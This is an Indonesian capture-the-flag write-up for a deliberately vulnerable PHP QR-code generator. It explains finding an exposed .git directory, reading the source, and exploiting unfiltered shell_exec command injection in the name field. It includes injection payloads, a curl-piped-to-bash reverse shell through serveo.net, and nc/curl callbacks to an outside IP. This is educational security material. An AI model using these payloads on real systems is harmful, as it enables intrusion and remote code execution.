Solution for QR Generator Challenges
Setelah sekian lama tidak membuat challenges akhirnya kepikiran juga membuat challenges sederhana, Challenges ini bertemakan QR Code Generator, namun letak vulnerability-nya tidak pada QR Code tersebut, lalu berikut adalah cara sederhana menyelesaikannya
-
Diberikan Challenges
Seperti biasa, challenges dipost di group Surabaya Hacker Link, ternyata tidak ada clue dari challenges ini, langung tancap gas kita akses web tersebut. Ternyata sebuah page QR Generator dengan inputan nama dan instagram. -
Pengecekan Source Code
Sebelum kita coba fitur dari web ini, kita cek source code-nya, apakah ada yang mencurigakan atau comment info dari pembuat Ternyata tidak ada apa-apa selain comment default dari bootstrap -
Mencoba Fitur
Kita coba fitur web ini dengan menginputkan semua field yang ada, tentunya dengan random data yang valid. Setelah di submit kita mendapatkan QR Code, kita coba buka ternyata hasilnya adalah base64 dan hasil decode dari enkripsi tersebut adalah data yang sebelumnya kita inputkan.
Berhenti sejenak dan mencari vulnerability terhadap QR Code hasilnya nihil :( -
Pengecekan Common Web Directory
Setelah berfikir cukup keras, kita coba brute directory yang ada pada web tersebut dengan common web list menggunakan gobuster
-
Found Git Repository Exposed
Dari hasil gobuster ada header 200 OK terhadap folder .git dan common file/folder dari git, kita cek terlebih dahulu apakah report yang diberikan oleh gobuster benar dan tidak false positive
Ternyata benar ada exposed git directory di sana -
Dump Git
Tanpa basa basi kita dump aja, jika bingung bagaimana melakukan dump exposed git directory bisa cek di sini -
Git Reset Hard Head
Kita lakukan reset agar file / folder dari repo git tersebut keluar.
-
Baca Source Code
Waktunya baca-baca kode, ternyata hanya ada file index.php dan sisanya hanya file pendukung, seperti folder fonts yang memuat font, dan folder uploaded yang sepertinya tempat dimana file terupload disimpan -
Menemukan fungsi shell_exec
Kita baca file index.php dan ada fungsi yang cukup berbahaya, yaitu shell_exec dan yang lebih berbahayanya lagi penggunaan fitur ini tidak difilter dengan baik
-
Analisa kode
Ternyata fungsi ini akan dijalankan ketika terdapat nama file yang sama yang ada pada variable $path, dan kode yang dieksekusi akan seperti ini
rm /var/www/html/uploaded/<hasil input field nama>.jpeg
pada shell terdapat beberapa unique char yang menjalankan suatu fungsi seperti ||
yang berarti or, &&
yang berarti and, dsb
langsung saja kita membuat dan mencoba payload sederhana di lokal kita
Input nama: blabla||id #
rm /var/www/html/uploaded/blabla||id #.jpeg
rm: cannot remove '/var/www/html/uploaded/blabla': File not found
uid=1000(lazt) gid=1000(lazt) groups=1000(lazt)
Detail: double pipe (||) berfungsi sebagai fungsi or, dimana jika command remove gagal maka akan menjalankan command id dan tagar (#) berfungsi melakukan commenting terhadap string .jpeg
Hasil: command id berjalan
Input nama: blabla||id &
rm /var/www/html/uploaded/blabla||id &.jpeg
[1] 12331
-bash: .jpeg: command not found
rm: cannot remove '/var/www/html/uploaded/blabla': File not found
uid=1000(lazt) gid=1000(lazt) groups=1000(lazt)
[1]+ Done rm /var/www/html/uploaded/blabla || id
Detail: double pipe (||) berfungsi sebagai fungsi or, dimana jika command remove gagal maka akan menjalankan command id dan (&) berfungsi melakukan melakukan redirection ke background namun .jpeg akan dijalankan dengan command Hasil: command id berjalan
Input: blabla;id #
rm /var/www/html/uploaded/blabla;id #.jpeg
rm: cannot remove '/var/www/html/uploaded/blabla': File not found
uid=1000(lazt) gid=1000(lazt) groups=1000(lazt)
Detail: semicolon (;) berfungsi memisakan command sebelumnya (rm) dan tagar (#) berfungsi melakukan commenting terhadap string .jpeg
Hasil: command id berjalan
-
Write Name
Dengan merubah nama menjadi payload yang dipakaiblabla||printf laztname >> solver.txt &
dan melakukan submit secara dua kali agar fungsi shell_exec ter-trigger, maka nama kita akan masuk pada solverlist -
Pwned
Tidak hanya menulis solver tapi kita dapat melakukan reverse shell dengan bantuan curl namun kita perlu sebuah ip public agar dapat melakukan reverse shell / backconnet tapi disini saya menggunakan serveo, pada port 80 local akan diforward ke serveo.net:2221, dan pada listening port 1337 local akan menerima dari serveo.net:2232 setelahnya pada field nama kita inputkan payloadblabla||curl serveo.net:2221 | bash #
jangan lupa lakukan submit sebanyak dua kali agar shell_exec tertriger, dan pada local 1337 kita akan mendapatkan session
sebenarnya dapat menggunakan nc namun pada target soal ketika memasukan slash (/) shell tidak berjalan dengan baik
Another shell check:
Dari challenges ini kita juga dapat melakukan pengetesan apakah fungsi shell_exec itu berjalan atau tidak dengan bantuan netcat, melakukan listening di server pribadi, dan pada field nama blabla||nc 12.12.12.12 4400 &
dan berhasil, di listening akan ada info connection from blablabla
Namun jika netcat tidak terinstall di server target maka hal tersebut tidak bisa dilakukan, dengan cara lain kita bisa menggunakan curl, sama seperti diatas, kita melakukan listening di server pribadi dan pada field nama diinputkan payload blabla||curl 12.12.12.12 4400
jika berhasil maka akan info connection from blabla
Yet another tips:
Karena hasil dari shell_exec tidak di tampilkan maka susah diketahui berjalan atau tidak tetapi dapat “diakali” dengan mem-pipe command ke server pribadi
Side Story: Sebetulnya challenges ini berasal dari tugas kuliah membuat id card generator yang hasil inputan disimpan tanpa ada duplikat, karena saya sendiri belum tamat php jadi tidak tahu (dan menahu) cara hapus file di php karena terbiasa dengan bash maka pada id card generator menggunakan shell_exec, sehari sebelum production saya penasaran apakah ini bisa dilakukan RCE (Remote Code Execution) atau tidak, dan terciptalah challenges ini
See you on next challenges
Referensi:
Reverse Shell with Curl -> Read more…
Bash Cheatsheet -> Read more…